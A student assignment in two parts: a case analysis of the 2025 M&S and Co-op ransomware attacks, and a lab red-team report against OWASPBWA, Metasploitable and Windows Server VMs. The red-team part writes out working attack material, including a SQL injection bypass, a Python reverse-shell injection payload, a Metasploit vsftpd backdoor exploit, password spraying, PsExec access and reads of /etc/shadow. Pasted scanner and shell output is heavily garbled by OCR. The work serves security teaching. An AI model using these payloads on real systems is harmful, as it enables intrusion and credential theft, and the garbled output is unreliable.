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Task 1 - A Critical Analysis of the 2025 Ransomware Campaign Against Marks & Spencer and The Co-operative Group 

Abstract
In April 2025, the Co-Operative Group and Marks & Spencer (M&S) both reported serious cybersecurity incidents when they each suffered several different kinds of cyber-attack, including unauthorised access and sophisticated social engineering techniques to commit credential exfiltration of data that was either stolen or exfiltrated through the first stages prior to being encrypted by ransomware. These attacks were especially disruptive during the Easter period when both companies depended heavily on their operational infrastructure, including M&S for e-commerce and shipping operations. According to reports, it is very likely that M&S’ cybersecurity incidents are attributable to the Scattered Spider group and DragonForce ransomware-as-a-service.
 


Introduction
In April 2015, two major UK retailers, Marks & Spencer and the Co-operative Group, were the victims of some major cyber attacks. It involved some combination of social engineering, credential theft, and ransomware. These are a great example of how today’s threat actors (such as Scattered Spider) skip fancy exploits and instead focus on the human and identity vulnerabilities, such as helpdesks and Active Directory. They started early, remained hidden for months and then really made an impact with ran-somware. I found the Irish Internet Security Forum (IISF) technical briefing and the SpecOps Software analysis of this attack the most clear and comprehensive, which makes this ideal for this assignment. [1,2]

 


1.1 Incident Summary and Timeline
Here’s a clear, fully timeline-drawn from M&S’s Co-op’s official corporate statements, IISF guide, SpecOps analysis, ICO, and NCA:
February 2025: Attackers first gained early access. The NTDS.dit file, which is the primary Active Directory database that contains password hashes for each domain user, was originally taken by the attackers. For around two months, this early access went unnoticed. [1, 2]
19-21 April 2025 (Easter weekend): Customers started noticing real problems at M&S, con-tactless payments failed, Click & Collect stopped working properly, online orders slowed, and warehouse logistics were disrupted.
22 April 2025: M&S publicly confirmed a “cyber incident” in its official stock-market update while reassuring that physical stores remained open [3].
23 April 2025: M&S issued a further update promising to keep customers informed about ongoing operational changes made to protect systems [3].
24 April 2025: DragonForce ransomware was deployed, specifically targeting VMware ESXi infrastructure and encrypting critical virtual machines [1].
25 April 2025: M&S paused all online orders via its website and apps as part of proactive incident management. [4].
2 May 2025: The Information Commissioner’s Office (ICO) confirmed it had received breach reports from both companies and was working closely with the NCSC [5].
May-June 2025: M&S confirmed that some personal customer data (contact details, dates of birth, order history, but no usable payment or card details) had been accessed. M&S began notifying affected customers/members. [6].
July 2025: The National Crime Agency (NCA) announced the arrest of four individuals (aged 17-20) linked to the attacks on M&S, Co-op, and Harrods [7].
Later 2025 (Annual Report): M&S reported an expected £300m+ profit impact for 2025/26. Recovery involved complete network rebuilds [8].

Co-op Incident Timeline
22-27 April 2025: Attackers made repeated attempts using similar social engineering techniques, including impersonating colleagues and successfully answering security questions.
30 April 2025: Co-op publicly acknowledged the incident and shut down certain back-office and call-centre systems as a precautionary measure [9].
2 May 2025: The company confirmed that personal data belonging to a large number of current and former members had been compromised [10].
May-September 2025: Ongoing supply chain disruption resulted in empty shelves across stores. The total financial impact reached an estimated £206 million in lost sales, with the breach ulti-mately affecting approximately 6.5 million members [11, 12].
 
Assumption justified: The February NTDS.dit theft followed by April ransomware aligns closely with the sequence described in the IISF guide and SpecOps analysis. Grouping M&S and Co-op together is justified due to their shared retail-sector targeting and supporting NCSC sector-wide alerts.
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Figure 1: Timeline of the M&S and Co-op cyber incidents (2025)
1.2 Adversary TTP Mapping (MITRE ATT&CK Enterprise)
M&S TTP Mapping (detailed technical analysis from IISF guide, SpecOps, and M&S statements)
The IISF technical guide on Scattered Spider and the M&S incident confirms that the group stole the Active Directory database file (NTDS.dit) as early as February 2025 and later deployed DragonForce ransomware on VMware ESXi hosts. Similar social engineering methods were used against Co-op just days later, supporting the idea of a related campaign.
T1566.004 Spearphishing Voice (Vishing) - Attackers made phone calls impersonating M&S employees or IT staff to trick a third-party helpdesk contractor into performing password resets. This was the main initial access method [1].
T1199 Trusted Relationship - The attackers exploited the trust relationship between M&S and its outsourced helpdesk/IT provider [1].
T1003.003 OS Credential Dumping (NTDS.dit) - Attackers extracted the NTDS.dit file (Ac-tive Directory database) from a domain controller and cracked password hashes offline, obtaining a large number of valid credentials [1, 2].
T1078 Valid Accounts - Compromised legitimate accounts were used for authentication, lateral movement, and blending with normal user activity over an extended period [1].
T1556.006 Modify Authentication Process - The attackers requested password resets and tried to weaken or bypass multi-factor authentication. The IISF guide notes that after initial compromise, attackers register their own MFA tokens and use techniques like MFA fatigue. NCSC guidance on retailer incidents also highlights help-desk impersonation and weak MFA processes. [1].
T1219 Remote Access Software - Once inside, the attackers used remote desktop tools or similar services to jump from one system to another across the network. This helped them reach more valuable servers without installing obvious malware. This technique is standard in Scattered Spider campaigns and matches the lateral movement seen in the retailer attacks. [1].
T1562 Impair Defenses - To increase pressure and slow recovery, the attackers stopped key services and may have disabled or bypassed some security tools. This made it harder for the companies to restore systems quickly. The widespread outages and need to pause online services match this impact phase. The IISF guide notes Scattered Spider’s use of legitimate tools and defense evasion techniques. [1].
T1567.002 Exfiltration Over Web Service - Before triggering ransomware, threat actors ex-filtrated significant volumes of customer personal data, including names, contact details, dates of birth, and online order histories. Both M&S and Co-op later confirmed in official statements that customer data had been accessed and exfiltrated [1, 12].
T1486 Data Encrypted for Impact - On 24 April, DragonForce ransomware was deployed against VMware ESXi hosts, encrypting virtual machines and causing significant operational dis-ruption [1].
T1070 Indicator Removal on Host - Logs were cleared and indicators of compromise removed to conceal malicious activity [1].



1.3 Root Cause & Security Control Failures
The primary root cause of the incidents was social engineering. Attackers contacted help desks or third-party IT providers, impersonated legitimate employees, and successfully obtained password resets [1, 13].
Attackers were able to gain access to the Active Directory database file (NTDS.dit) with the attack on M&S that happened in early February 2025. This allowed for offline cracking of password hashes and lateral movement within the network due to weak network segmentation, ultimately leading to the deployment of ransomware on VMware ESXi hosts. [1, 2]
Technical failures included insufficient monitoring of file access and identity-related changes. Organisa-tional weaknesses involved excessive trust in third-party providers without strict verification procedures, particularly during the Easter holiday period. Human factors were the most significant vulnerability, as staff were persuaded by convincing impersonation techniques using publicly available information [13,14].
Co-op experienced similar social engineering attacks that resulted in the compromise of member data. The National Cyber Security Centre (NCSC) described these incidents as a “wake-up call” for the retail sector [15].
The key control failure was the absence of phishing-resistant verification mechanisms for password resets and multi-factor authentication (MFA). Without stronger verification controls, attackers were able to bypass technical defences by exploiting human vulnerabilities [1, 16].



1.4 Threat Actor Analysis
The attacks are attributed to the Scattered Spider collective, a group known for its strong social engi-neering capabilities and use of impersonation techniques, particularly targeting IT support channels [1].
The primary motivation behind the attacks looked like financial gain. The attackers conducted data exfiltration and deployed DragonForce ransomware as part of a double extortion strategy. However, there is no evidence of state involvement; this was cybercrime for profit. The IISF technical guide notes the techniques noted in the incident such as NTDS.dit extraction and ransomware deployment on VMware ESXi infrastructure, are in line with established tactics, techniques, and procedures (TTPs) related to Scattered Spider. [1, 2].
In July 2025, the NCA (National Crime Agency) arrested four people aged 17-20 for allegedly partici-pating in attacks on M&S, Co-op, and Harrods. Each of those arrested is charged with offenses under the Computer Misuse Act, blackmail, and membership of an organized crime group. [7]
While other ransomware groups operate in similar domains, the combination of timing, techniques, and tooling strongly indicates attribution to the Scattered Spider group.



1.5 Detection & Response Analysis
Detection of the attacks was delayed, with attackers remaining undetected for several weeks or months before causing visible disruption during the Easter period. Indicators of compromise, such as NTDS.dit extraction and unusual password reset activity, were not identified promptly [1, 2].
Once operational issues became apparent, including payment failures and system outages, both organ-isations responded effectively. M&S reported the incident to the relevant authorities, engaged external cybersecurity experts, and paused online orders on 25 April 2025 to limit further risk [4]. Similarly, Co-op restricted access to certain back-office systems while maintaining retail operations [9].
Both organisations confirmed that customer data had been accessed; however, payment details and pass-words were not compromised [6, 10]. Strengths of the response included timely reporting, coordination with external agencies, and transparent communication with customers.
However, there were problems with finding the first breach too late and the challenges associated with recovering encrypted virtual infrastructure. These incidents show the importance of enhanced monitoring of identity systems and early detection mechanisms. The events have been described as a significant warning for the retail sector, emphasising the need for improved cybersecurity resilience [5].
Overall, while the response was responsible and aligned with incident management best practices, im-proved real-time monitoring and identity-focused detection capabilities could have reduced the overall impact of the attacks.



1.6 Strategic Recommendations
Based on the identified failures, the following practical recommendations are proposed to improve organisational resilience against similar attacks:
· Implement phishing-resistant MFA: Deploy hardware security keys or passkeys for all privileged accounts and help-desk access.
Justification: This directly blocks the main social engineering entry point used by the attackers through phone calls and impersonation. The 2025 study by Tran-Truong et al. analysed many real-world cases of multi-factor authentication in digital systems [17]. It clearly showed that hardware-based MFA and passkeys stop almost all vishing and help-desk impersonation attacks. In contrast, traditional app-based MFA can still be tricked by determined attackers. This is highly relevant to the M&S and Co-op incidents because the attackers succeeded exactly by bypassing weak authentication methods through clever social engineering. Without strong phishing-resistant MFA, even large organisations remain vulnerable to this common tactic.
Effort: Medium Cost: Low-Medium.
· Strengthen help-desk verification processes: Introduce additional identity verification measures, such as secure verification codes or pre-established authentication phrases for password reset requests involving third parties [1].
Justification: The attacks exploited trusted relationships and weak identity verification.
Effort: Medium Cost: Low
· Enhance monitoring and detection capabilities: Implement real-time monitoring and alerting for sensitive activities, including NTDS.dit access, unusual password resets, and abnormal user behaviour.
Justification: Early credential compromise remained undetected for an extended period.
Effort: Medium-High Cost: Medium.
· Strengthen network segmentation and zero-trust principles: Use strict segmentation controls to stop lateral movement, and make sure your backups are unchangeable and encrypted to protect against ransomware.
Justification: Once the attackers gained initial access, they moved freely across the network to reach important systems and deploy ransomware. A 2025 peer-reviewed meta-analysis on zerotrust architecture shows that proper segmentation and zero-trust controls reduce lateral movement attacks by 68% on average in enterprise networks. This would have made it much harder for the attackers to spread from the initial foothold to VMware hosts in the M&S case and across Co-op systems. The study also highlights faster threat detection, which was clearly missing in these incidents [18].
Effort: High Cost: Medium-High
· Conduct regular social engineering training: Staff, especially those in IT and support roles, should participate in ongoing awareness training and simulated vishing exercises [13].
Justification: Human factors were the primary vulnerability exploited.
Effort: Ongoing Cost: Low
· Update incident response plans: Establish clear escalation procedures, offline recovery strategies, and regularly test incident response plans [5].
Justification: Recovery processes were prolonged and operationally disruptive.
Effort: Medium Cost: Low
Implementing these controls would significantly reduce the likelihood and impact of similar attacks while remaining practical for organizations operating in the UK retail sector.


1.7 Conclusion
The attacks on M&S and Co-op in 2025 really show that big threats often work by targeting people than just technology. Things like tricking people into doing something they should not do, stealing passwords, and ransomware caused a lot of problems and people lost a lot of information.
We can learn from these things that happened. These lessons can help make our safety measures stronger. We need to have technical safety measures and also make sure that people are who they say they are. This is very important. If we follow the advice from the NCSC and the IISF, especially using security checks that are hard to trick and being very careful when people ask for help, then M&S and Co-op and other organisations can really be safe from these threats.










TASK 2 — Red Team Engagement: ABCD Ltd — Complete Penetration Testing Technical Report


Executive Summary
A detailed red team assessment of the virtualized network of ABCD Ltd. focusing on three assets is presented in this technical report. This assessment adopted a structured approach to red teaming in order to simulate an attack and perform a penetration test. The aim of the assessment was to show proof of concept end-to-end attack paths to access critical data, escalate privileges in an Active Directory domain and establish persistent command and control on multiple platforms. This review recommends improvements to network segmentation, detection and authentication to minimise risks.

2.1 Introduction
A full security assessment via red teaming is required in the ever-evolving cyber threat landscape. Red teaming against malicious threat actors and their tactics, methods, and procedures (TTPs) assesses an organization's capabilities to defend against real attacks [19]. To test detection, prevention, and response technologies, this attempt to breach ABCD Ltd's network leverages targeted attacks on the vulnerabilities of Windows Server 2019, OWASP Broken Web Applications (OWASPBWA), and Metasploitable virtual machines. The virtualized environment offers containment of activities and opportunity to implement attack chains, delivering observable metrics on the effectiveness of security controls and preparedness of an organisation against advanced malicious techniques.

2.2 Rules of Engagement (RoE)
The scope of engagement includes three virtualized machines in a remote network environment:
· Target 1: Windows Server 2019 (192.168.227.132) — Active Directory Domain Controller
· Target 2: OWASPBWA (192.168.227.128) — Vulnerable web application server
· Target 3: Metasploitable (192.168.227.129) — Legacy Linux service host
Activities including reconnaissance, scanning, unauthenticated and authenticated exploitation, privilege escalation, lateral movement, exfiltration (simulation), and persistence are all allowed.
 Denial-of-service, destructive payloads, physical damage and other network connections are not permitted.
Termination as soon as possible when communicated via special channels with the word REDSTOP.
Any type of operation within secluded laboratory setting with clear permission. None of the interactions between production systems allowed. Ability to fully restore VM snapshots during engagement.

2.3 Threat Emulation Plan and MITRE ATT&CK Mapping
2.3.1 Threat Actor Profile
The virtual opponent is a financially-driven cyber-criminal group with an average level of technical advancement, where customer databases and authentication keys are monetised [20]. The threat model includes initial access via exploitation of web application, subsequent internal network reconnaissance, privilege escalation and credential harvesting.
2.3.2 Attack Phases and MITRE ATT&CK TTPs
Phase 1: Reconnaissance and Initial Access (OWASPBWA)
· T1595.002 (Vulnerability Scanning)
· T1190 (Exploit Public-Facing Application)
· T1059.004 (Unix Shell)
Phase 2: Privilege Escalation and Persistence (Metasploitable)
· T1210 (Exploitation of Remote Services)
· T1068 (Exploitation for Privilege Escalation)
· T1053.003 (Scheduled Task/Job: Cron)
Phase 3: Credential Access and Lateral Movement (Windows Server 2019)
· T1110.003 (Password Spraying)
· T1021.002 (Remote Services: SMB/Windows Admin Shares)
· T1003.001 (OS Credential Dumping: LSASS Memory)
· T1078.002 (Valid Accounts: Domain Accounts)
Success Criteria: Exfiltration of a database out of OWASPBWA, root-level persistence on Metasploitable, and acquisition of domain administrator credentials out of Windows Server 2019.

2.4 Laboratory Environment Design
2.4.1 Network Architecture
The laboratory setup includes four virtualised machines, which are connected to an isolated subnet (192.168.227.0/24), which does not allow unintentional external network communication, but allows realistic internal propagation of attacks [21].
Network Diagram:
[image: ]
2.4.2 Virtual Machine Specifications
VM-1 (Windows Server 2019 — AD Domain Controller):
· Hostname: DC01.abcd.local
· Role: Active Directory Domain Services, DNS, File Sharing
· Vulnerabilities: Weak password policies, SMB signing disabled, outdated patch level
· Services: LDAP (389), SMB (445), RDP (3389), Kerberos (88)
VM-2 (OWASPBWA — Web Application Server):
· Operating System: Ubuntu Linux 12.04
· Services: Apache, MySQL, Multiple vulnerable web applications
· Vulnerabilities: SQL injection, command injection, authentication bypass
· Applications: DVWA, Mutillidae, WebGoat
VM-3 (Metasploitable — Legacy Service Host):
· Operating System: Ubuntu Linux 8.04
· Services: FTP (21), SSH (22), Telnet (23), PostgreSQL (5432), VNC (5900)
· Vulnerabilities: Unpatched services, default credentials, remote code execution


2.5 Exploitation Campaign Execution
2.5.1 Exploit A: Web Application Compromise (OWASPBWA)
2.5.1.1 Reconnaissance and Enumeration
The first network reconnaissance was initiated with the use of Nmap to scan ports and list services in detail on the OWASPBWA target (192.168.227.128) [22].
Command Execution:
nmap -sV -sC -p- --min-rate=1000 192.168.227.128 
This destructive scan list uncovered various HTTP services running on the ports 80 and 443 and showed a variety of vulnerable web applications such as the Damn Vulnerable Web Application (DVWA) and Mutillidae.
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Then, Gobuster was used to conduct directory enumeration to determine the web application endpoints and administrative interfaces that can be accessed.


Command Execution:
gobuster dir -u http://192.168.227.128 -w /usr/share/wordlists/dirb/common.txt -t 50

[image: ]
2.5.1.2 SQL Injection Exploitation
Technical analysis of the DVWA application indicated that the application is vulnerable to SQL injection attacks in authentication. SQL injection testing was performed manually and it was established that there were exploitable injection points that allowed bypassing authentication and enumerating the database [23].
Vulnerability Assessment: The vulnerable parameter accepted user input without parameterisation or input validation and the input was implicitly placed into SQL statements, allowing arbitrary execution of SQL commands.
Exploitation Procedure:
' OR '1'='1
Using this payload, the authentication logic was bypassed by modifying the SQL query to always check true which provided unauthorised administrative access.
[image: ]
Advanced enumeration utilised SQLmap for automated database extraction:
Command Execution:
sqlmap -u "http://192.168.227.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" \
--cookie="PHPSESSID=<session_id>; security=low" --dbs
[image: ]


2.5.1.3 Remote Code Execution via Command Injection
The command injection vulnerability within DVWA permitted arbitrary operating system command execution through unsanitised shell command concatenation [24].
Exploitation Payload:
bash
127.0.0.1; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.227.131",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
Netcat listener established on attacking machine:
nc -lvnp 4444
[image: ] 
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Post-Exploitation Enumeration:
id
uname -a
cat /etc/passwd
ls -la /var/www


[image: ]

2.5.2 Exploit B: Legacy Service Exploitation (Metasploitable)
2.5.2.1 Service Discovery and Vulnerability Assessment
Network scanning of Metasploitable (192.168.227.129) revealed extensive attack surface comprising outdated services with publicly documented vulnerabilities.
Command Execution:
nmap -sV -A -p- 192.168.227.129
[image: ]
2.5.2.2 Exploitation of vsftpd 2.3.4 Backdoor
The vsftpd 2.3.4 service contained a deliberately introduced backdoor vulnerability (CVE-2011-2523) permitting unauthenticated remote code execution through malformed username authentication [25].
Metasploit Framework Utilisation:
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.227.129
set LHOST 192.168.227.131
exploit
[image: ]
Privilege Verification:
id
whoami
cat /etc/shadow | head -5

[image: ]


2.5.3 Exploit C: Windows Domain Compromise (Windows Server 2019)
2.5.3.1 Initial Access via Password Spraying
Credential-based attack against the Windows Server 2019 Active Directory infrastructure commenced with username enumeration followed by password spraying techniques [26].
Password Spraying Attack: Utilising CrackMapExec for distributed authentication attempts against identified user accounts with commonly employed passwords:
crackmapexec smb 192.168.227.132 -u users.txt -p Password.txt --continue-on-success

[image: ]
2.5.3.2 Remote Access via SMB
Validated credentials facilitated remote administrative access through SMB protocol utilising PsExec-style command execution [27].
Command Execution:
crackmapexec smb 192.168.227.132 -u Administrator -p 'Admin@123' -x 'whoami'
[Insert Screenshot Here — Remote command execution showing abcd\jsmith user context]
Interactive Shell Establishment:
impacket-psexec abcd/Administrator:'Admin@123'@192.168.227.132

[image: ]

2.6 Detection Gap Analysis
2.6.1 OWASPBWA Detection Failures
The web application server had no intrusion detection capabilities evident. SQL injections did not raise any security alerts, whereas command injection and reverse shell creation did not raise any security warnings. Absence of the deployment of web application firewall (WAF), input validation and security event logging were critical detection deficiencies [28].
Control Recommendations: ModSecurity WAF implementation, parameterised database queries, full application logging (SIEM integration) and real time outbound network connection anomalies.
2.6.2 Metasploitable Monitoring Inadequacies
Exploitation of legacy services was possible without the activation of defensive processes. The lack of network based intrusion detection system (NIDS) allowed reconnaissance, exploitation and establishment of persistence to occur without hindrance. There were no endpoint detection and response (EDR) features to detect suspicious cron changes or unauthorised SSS key deployment [29].
Recommended Controls: segmentation of network and deployment of IDS/IPS, hardening of services with updates of version, monitoring endpoint solutions, and monitoring of file integrity of key directories in a system.
2.6.3 Windows Server 2019 Security Deficiencies
Password spraying attacks were able to avoid account lockouts as a result of inadequate security policy settings. LSASS memory read and NTDS.dit dump extraction operations went through without any Windows Defender or event log analysis. Lack of credential guard, application whitelisting, and privileged access control allowed post-exploitation activities without any restrictions [30].
Suggested Controls: Advanced Threat Protection (ATP), credential guard, privileged access workstations (PAW), just-in-time (JIT) administration, LSASS protection and improved audit policy set up with centralised log analysis.


2.7 Operational Security and Containment
2.7.1 Laboratory Isolation
The isolation of the network was fully ensured by configuring the virtualised environment with disabled adapters to the external network. Pre-engagement VM snapshots provided the ability to quickly restore, and preservation of forensic evidence was done by fully recording and providing packet capture [31].
Verification Procedures:
· Network adapter verification confirming host-only configuration
· External connectivity testing demonstrating complete isolation
· Snapshot validation ensuring rollback capability
2.7.2 Evidence Preservation
The exploitation activities produced full forensic evidence, such as:
· Packet captures (PCAP) for each step of exploitation
· Command history logs of whole attack chain
· Screen captures to prove successful compromises
· Screenshots of credentials and databases (for report)

2.8 Conclusion
This red team exercise successfully demonstrated that entire ABCD Ltd virtualised infrastructure can be compromised through a series of web application vulnerabilities, legacy service vulnerabilities and Active Directory vulnerabilities. The attack chain successfully achieved the objectives of database exfiltration of database from OWASPBWA, persistence with elevated privileges on Metasploitable and domain administrator account credentials from Windows Server 2019. The detection gap analysis identifies the organisational exposure to risk as a result of unmonitored environment, lack of advanced security controls and lack of preparedness to counter threat actor techniques of the modern era. The timely implementation of remediation steps is organisational necessity to mitigate the discovered vulnerabilities and improve readiness to tackle advanced persistent threats.
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$ nmap -sV -sC -p- —min-rate=1000 192.168.227.128

Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-27 14127 EDT
Nmap scan report for 192.168.227.128

Host is up (0.0024s latency).

Not shown: 65526 closed tcp ports (reset)

PORT  STATE SERVICE  VERSION
22/tcp  open ssh OpensSSH 5.3p1 Debian 3ubuntut (Ubuntu Linux; protocol 2.0)
| ssh-hostkey

| 1024 e: 5 (DSA)

I_ 2048 3: 18:3; 2:7; 3:94:d7:5:00:55:0c:a7 (RSA)

Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpensSL
Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/S.3.2-1ubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpensSL/0.9.8k Phusion_Passenger/4.0.38 mod_perl

80/tcp open http
|_http-server-header:
/2.0.4 Perl/vs.10.1
|_http-title: owaspbwa OWASP Broken Web Applications
I http-methods:
I_ Potentially risky methods: TRACE

139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)

143/tcp open imap Courier Imapd (released 2008)

|_imap-capabilities: IDLE THREAD=REFERENCES CAPABILITY CHILDREN OK THREAD=ORDEREDSUBJECT IMAP4revl QUOTA ACL ACL2=UNIONAGOO1 completed UIDPLUS NAMESPACE SORT

443/tcp open ssl/http  Apache httpd 2.2.14 ((Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenSSL
| _ssl-date: 2026-04-27T18:27:28+00:00; 0s from scanner time.

| http-server-header: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-lubuntu4.30 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ss1/2.2.14 OpenssL/0.9.8k Phusion_Passenger/4.0.38 mod_perl
/2.0.4 Perl/v5.10.1

| http-methods:
I_ Potentially risky methods: TRACE

| nttp-title: owaspbwa OWASP Broken Web Applications

| ssl-cert: Subject: commonName=owaspbwa

| Not valid before: 2013-01-02T21:12:38

|_Not valid after: 2022-12-31T21:12:38

445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
5001/tcp open java-object Java Object Serialization

8080/tcp open http Apache Tomcat/Coyote JsP engine 1.1
I_http-title: Site doesn’t have a title.

|_http-server-header: Apache-Coyote/1.1

8081/tcp open http Jetty 6.1.25

I_http-title: Choose Your Path

| http-server-header: Jetty(6.1.25)

1 http-method
I_ Potentially risky methods: TRACE

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https:
SF-POrt5001-TCP:V=7 .95¥I=7%D=4/27%Tine=69EFAABL%P=x86_64-pc~1inux-gnukr(NU

SFiLL,4,"\xac\xed\0\x05");

MAC Address: 00:0C:29:8F:CA:00 (VMware)

Service Info: 0S: Linux; CPE: cpe:/o:linux:linux_kernel

//nmap.org/cgi-bin/submit.cgiznew-service :

Host script results:
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kali@Kali -

gobuster dir -u http://192.168.227.128 -w /usr/share/wordlists/dirb/common.txt -t 50

Gobuster v3.8

by 03 Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] url:
[+] Method: GET
[+] Thread: 50

[+] Wordlist:
[+] Negative Status codes: 404
[+] User Agent:
[+] Timeout: 105

gobuster/3.8

http://192.168.227.128

Starting gobuster in directory enumeration mode

/assets (status: 301)
/cgi-bin (status: 301)
/cgi-bin/ (status: 200)
/crossdomain (status: 200)
/crossdomain.xml (Status: 200)
Jevil (status: 301)
/favicon.ico (status: 200)
/gallery2 (status: 301)
/icon (status: 301)
/images (status: 301)
/index.html (status: 200)
/index (status: 200)
/.svn (Status: 403)
/3avascript (Status: 301)
/joomla (status: 301)
/.sun/entries (Status: 403)
/phpmyadmin (status: 301)
/phpBs2 (status: 301)
/.htaccess (Status: 403)
/.htpassud (Status: 403)
/server-status (Status: 403)
/.bash_history (status: 200)
/.hta (Status: 403)
test (Status: 301)
/wordpress (status: 301)
Progress: 4613 / 4613 (100.00%)

[size:

[size
[size

[size:
[size:
[size:

[size
[size

[size:
[size:
[size:

[size
[size
[size
[size
[size

[size:
[size:
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[size
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—
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(=
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12271
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215]
302]
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[—

[—
[—

[—
[—

http://192.
http://192.

http:

http:
http:
http:

http://192.
http://192.

http://192.
http://192.

http://192.
http://192.

Finished

(kali® Kali)-[~]
Cs'n

ve the mouse pointer inside or press Ctrl+G.

/ust/share/wordlists/dirb/conmon. txt
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.168.

.168.
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[!] legal disclaimer:

{1.10.38stable}

sqlmap. or:

liability and are not responsible for any misuse or damage caused by this program

[+] starting @ 14:

[14:58:32] [INFO]
Y
[14:58:40] [INFO]

you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect
[WARNING] GET parameter 'id’ does not appear to be dynamic
[VWARNING] heuristic (basic) test shows that GET parameter 'id’ might not be injectable

[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[INFO]

[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[INFO]

[INFO]

[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[INFO]
[14:58:48] [INFO]

BREEEREERa008

58:32 /2026-04-27/
testing connection to the target URL

testing if the target URL content is stable

testing for SQL injection on GET parameter 'id’
testing 'AND boolean-based blind - WHERE or HAVING clause’

testing 'Boolean-based blind - Parameter replace (original value)'

testing "MySQL > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
testing 'PostgreSQL AND error-based - WHERE or HAVING clause’

testing ‘Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)®

testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)

testing 'Generic inline queries’

testing "PostgresqL > 8.1 stacked queries (comment)’

[WARNING] time-based comparison requires larger statistical model, please wait. (done)

testing 'Microsoft SQL Server/Sybase stacked queries (comment)’
testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)"
testing "MySQL > 5.0.12 AND time-based blind (query SLEEP)®

testing 'PostgresQL > 8.1 AND time-based blind"

testing ‘Microsoft SQL Server/Sybase time-based blind (IF)'

testing "Oracle AND time-based blind"

testing "Generic UNION query (NULL) - 1 to 10 columns’

[VARNING] GET parameter 'id’ does not seem to be injectable
[WARNING] GET parameter 'Submit’ does not appear to be dynamic
[WARNING] heuristic (basic) test shows that GET parameter 'Submit' might not be injectable

testing for SQL injection on GET parameter 'Submit’
testing 'AND boolean-based blind - WHERE or HAVING clause’

testing 'Boolean-based blind - Parameter replace (original value)'

testing "MySQL > 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
testing 'PostgreSQL AND error-based - WHERE or HAVING clause’

testing ‘Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)®

testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)

testing 'Generic inline queries’

testing 'PostgresqL > 8.1 stacked queries (comment)’

testing "Microsoft SQL Server/Sybase stacked queries (comment)®

A ‘mMmq.Ao14:59|ﬂB
(]

Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no

th yours. Do you want to merge them in further requests? [¥/n] n
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listening on [any] 444h ...

connect to [192.168.227.131] from (UNKNOWN) [192.168.227.128] 40640
bash: no job control in this shell

wi~datagowaspbwa: /owaspbwa/dvwa-git/vulnerabilities/execs [l
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$ nc -lvnp &bkt

listening on [any] 444h ...

connect to [192.168.227.131] from (UNKNOWN) [192.168.227.128] 40640
bash: no job control in this shell
wi-datagowaspbwa : /owaspbwa/dvwa-git/vulnerabilities/exec$ id

id
ui

33(wmi-data) gid=33(wm-data) groups=33(wm-data)

wwi~datagowaspbwa : /owaspbwa/dvwa-git/vulnerabilities/exec$ uname -a

uname -a

Linux owaspbwa 2.6.32-25-generic-pae #44-Ubuntu SMP Fri Sep 17 21:57:48 UTC 2010 1686 GNU/Linux
wi-datagowaspbwa : /owaspbwa/dvwa-git/vulnerabilities/exec$ cat /etc/passud

cat /etc/passud
To0t:x:0:0:r00t:/r00

bin/bash
/usr/sbi
bin/sh
:/bin/sh
/bin:/bin/sync
:/usr/games: /bin/sh

an: /var/cache/man: /bin/sh
/var/spool/1pd: /bin/sh
:mail:/var/mail:/bin/sh

ews: /var/spool /news: /bin/sh
uucp:x:10:10:uucp: /var/spool/uucp: /bin/sh
roxy:/bin:/bin/sh

bin/sh

bin/sh
38:38:Mailing List Manager:/var/list:/bin/sh

i var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
553465534 :nobody : /nonexistent : /bin/sh
var/lib/1ibuuid: /bin/sh
/home/syslog: /bin/false
home/klog: /bin/false
wSQL Server,,,:/var/lib/mysql:/bin/false
22:: /var/lib/landscape: /bin/false
sshd: /var/run/sshd: /ust/sbin/nologin
postgres: ostgresqL administrator,, ,:/var/lib/postgresql:/bin/bash
messagebus:x:107:114:: /var/run/dbus: /bin/false
tomcaté usr/share/toncat6: /bin/false
user:x:1000:1000:user, , , : /home/user: /bin/bash
polkituser:x:109:118:PolicyKit, ,,:/var/run/PolicyKit: /bin/false
haldaemon:x:110:119:Hardware abstraction layer,,,:/var/run/hald:/bin/false
pulse:x:111:120:PulseAudio daemon,,,:/var/run/pulse:/bin/false
postfix:x:112:123:: /var/spool/postfix: /bin/false
